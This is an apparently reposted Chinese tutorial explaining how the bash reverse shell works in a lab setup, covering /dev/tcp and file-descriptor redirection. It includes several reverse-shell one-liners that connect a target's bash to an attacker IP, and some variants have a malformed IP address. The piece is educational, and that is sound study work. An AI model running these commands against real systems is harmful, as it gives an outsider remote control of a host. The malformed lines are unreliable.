环境

攻击机:kali            ip:192.168.25.144

靶    机:centos      ip:192.168.25.142

过程

kali 监听本地8888端口

靶机 centos 写入 反弹shell 的命令

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

攻击机 kali 成功反弹shell

原理

反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互

我们将命令拆开

bash -i 
/dev/tcp/192.168.25.144/8888
 >&   0>&1

bash

Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途

查询当前shell命令    ls -l /bin/sh

bash -i  打开一个交互式的bash            shell 如果有 -i 参数,就是交互式的

交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

     有参数  i ,是交互式的

执行一个shell脚本

  无参数 i ,非交互式

/dev目录

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP连接

文件描述符

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向

标准输入(stdin):           代码为  0     使用 < 或 <<          默认设备键盘

标准输出(stdout):         代码为  1     使用 > 或 >>          默认设备显示器

标准错误输出(stderr):  代码为   2    使用 2> 或 2>>      默认设备显示器


  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0| 当开启一个终端时 默认的文件描述符 指向 /dev/tty0(虚拟终端)
  3. --- +--------+
  4. --- +--------+
  5. ( 1 ) ---->|dev/tty0|
  6. --- +--------+
  7. --- +--------+
  8. ( 2 ) ---->|dev/tty0|
  9. --- +--------+

大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

Shell 输入/输出重定向

我们让上图  输出重定向

使用    1>    将输出结果写入到 指定文件中    文件不存在则创建文件,文件如果存在会覆盖原文件内容

省略不写则默认就是 1       同理,输入重定向  0<   省略不写则默认就是 0

使用  >>   会追内容在文件末尾

结合上面建立的TCP连接

kali攻击机收到

结合bash -i

在kali得到命令执行结果的回显

此时我们输入name,可以看到,标准输出错误并未被重定向


  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0|
  3. --- +--------+
  4. --- +--------+ +------------------+
  5. ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
  6. --- +--------+ +------------------+
  7. --- +--------+
  8. ( 2 ) ---->|dev/tty0|
  9. --- +--------+

输入重定向

在kali攻击机,输入

靶机得到输入指令,标准输出(默认终端)


  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0|\
  3. --- +--------+ \
  4. \
  5. --- +--------+ ----> +------------------+
  6. ( 1 ) ---->|dev/tty0| |/dev/tcp/host/port|
  7. --- +--------+ +------------------+
  8. --- +--------+
  9. ( 2 ) ---->|dev/tty0|
  10. --- +--------+

!!!!!!!!!!!!!!!

此时,我们只需要将

bash i  > /dec/tcp/192.168.25.144/8888  和   bash i  <  /dec/tcp/192.168.25.144/8888  结合

实现在攻击机 kali 输入 命令,在kali 机 得到命令回显,实现了反弹shell

即 使用下面的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>&1

效果     kali   ip:192.168.25.140

此时靶机会输出在攻击机所输入的命令,还有一个问题,标准错误输出 并没有重定向

补充:

bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,存在多个则从左往右依次执行

标准输出与标准错误输出重定向

此时反弹shell语句里边用到了  >&    操作符,>&  操作符在不同情况下有不通的含义

在   >&word  语法中,当word是数字或  字符时,操作符  >&   表示复制 文件描述符

而文件描述符的复制格式有     num1<&num2  和 num1>&num2 

这里两个都是将文件描述符 num1 复制到 num2 ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

    因此 num1<&num2  和 num1>&num2 是等价的(读/写方式打开对其没有任何影响)

所以上述命令可以修改为     bash -i > /dev/tcp/192.168.25.144/8888 0<&1

所以    0>&1  或者   0<&1

是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置

   此时1[标准输出]指向的是socket连接文件(第一个  >   )

重定向完成后,0[标准输入]也指向了socket连接文件,所以我推测因为拷贝,所以原标准输出回显到靶机上(kali上敲的命  令)


  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0|\
  3. --- +--------+ \
  4. \
  5. --- +--------+ ----> +------------------+
  6. ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
  7. --- +--------+ +------------------+
  8. --- +--------+
  9. ( 2 ) ---->|dev/tty0|
  10. --- +--------+

此时标准错误输出 依然未曾改变

在   >&word  语法中,当word不是数字或  -  字符时    >&  表示将 标准错误输出合并到标准输出中

   此时与操作符   &> 功能一样     >&word 等价于 &> word       都相当于        > word  2>&1

当执行 bash -i  > /dev/tcp/192.168.25.140/9999 0>&1   命令时,效果如下 标准输出错误并未被重定向

所以我们执行命令   bash -i  > /dev/tcp/192.168.25.140/9999 0>&1 2>&1   或

bash -i  >& /dev/tcp/192.168.25.140/9999 0>&1       均形成了一个闭合的回路  ,同样,命令回显到攻击机上

实现以下效果形成闭合,即可反弹shell ,而其他一些反弹命令,只要可以形成如下效果即可


  1. --- +--------+
  2. ( 0 ) ---->|dev/tty0|\
  3. --- +--------+ \
  4. \
  5. --- +--------+ ----> +------------------+
  6. ( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
  7. --- +--------+ ----> +------------------+
  8. /
  9. --- +--------+ /
  10. ( 2 ) ---->|dev/tty0| /
  11. --- +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i  > /dev/tcp/192.168.25.144/8888 0>&1 2>&1

本文借鉴了很多大佬的博客,如有更正的地方。还望指出

参考链接:

https://xz.aliyun.com/t/2549

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

http://wiki.bash-hackers.org/howto/redirection_tutorial

https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

[转帖]Linux之bash反弹shell原理浅析的更多相关文章

  1. Linux bash反弹shell原理引起的一点思考

        最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问 ...

  2. Linux渗透之反弹Shell

    前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个 ...

  3. 反弹Shell原理及检测技术研究

    1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...

  4. 用bash反弹shell

    用bash反弹shell 受害主机:linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig  ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击 ...

  5. bash反弹shell检测

    1.进程 file descriptor 异常检测 检测 file descriptor 是否指向一个socket 以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的 ...

  6. 13. linux渗透之反弹shell

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  7. bash反弹shell

    part1:不求甚解的本地复现 攻击端Debian 10.x:  192.168.208.134 受害端Ubuntu : 192.168.208.135 攻击端打开(监听)某端口:  键入命令:[nc ...

  8. 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。

    反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...

  9. [转帖]linux 清空history以及记录原理

    linux 清空history以及记录原理 自己的linux 里面总是一堆 乱七八槽输错的命令 用这个办法 可以清空 linux的内容. 清爽一些. 1.当前session执行的命令,放置缓存中,执行 ...

  10. 【奇技淫巧】linux 定时任务 crontab 反弹 shell

    日期:2018-11-26 13:47:34 介绍:如何使用定时任务来反弹 shell? 0x01. 基本命令 参数 -e:编辑该用户的计时器设置: -l:列出该用户的计时器设置: -r:删除该用户的 ...

随机推荐

  1. zookeeper源码(05)数据存储

    本文详细分析一下zookeeper的数据存储. ZKDatabase 维护zookeeper服务器内存数据库,包括session.dataTree和committedlog数据,从磁盘读取日志和快照后 ...

  2. 讲真,你知道Python咋来的吗?

    摘要:什么是Python?它怎么诞生的?它跟C语言.shell语言有什么区别?语言环境是怎么样的?这些你都知道吗? Python诞生在一个圣诞节 Python诞生于1989年的一个圣诞节,其创作者Gu ...

  3. Shell:Lite OS在线调试工具知多少

    摘要:Shell作为Huawei Liteos在线调试工具,可以通过串口工具输入输出,支持常用的基本调试功能.同时用户可以新增定制的命令,新增命令需重新编译烧录后才能执行 本文分享自华为云社区< ...

  4. 火山引擎DataLeap:助你实现从数据研发1.0到数据研发3.0的跨越

    更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 近日,火山引擎开发者社区 Meetup 第 12 期暨超话数据专场在深圳举办,本次活动主题为"数智化转型 ...

  5. Solon2 开发之IoC,七、切面与函数环绕拦截

    想要环绕拦截一个 Bean 的函数.需要三个前置条件: 通过注解做为"切点",进行拦截(不能无缘无故给拦了吧?费性能) Bean 的 method 是被代理的 在 Bean 被扫描 ...

  6. PPT 客户提案PPT应该怎么样改

    PPT 客户提案PPT应该怎么样改

  7. Axure 形状交互

  8. Windows 安装 MySQL 5.7 x64 位

    设置MySQL 创建数据库,默认为UTF-8 下载地址:https://downloads.mysql.com/archives/installer/ 安装 网站上只有 x86 没有 x64 位,之前 ...

  9. selenium多标签,多表单切换

    Selenium多标签之间的切换 多标签之间的切换 有的时候点击一个链接,新页面并非由当前页面跳转过去,而是新打开一个页面打开,这种情况下,计算机需要识别多标签或窗口的情况 获取所有窗口的句柄 han ...

  10. CH6803 导弹防御塔 (二分 + 匈牙利 / 网络流)

    链接:https://ac.nowcoder.com/acm/contest/1062/D 题目描述 Freda的城堡-- "Freda,城堡外发现了一些入侵者!" "喵 ...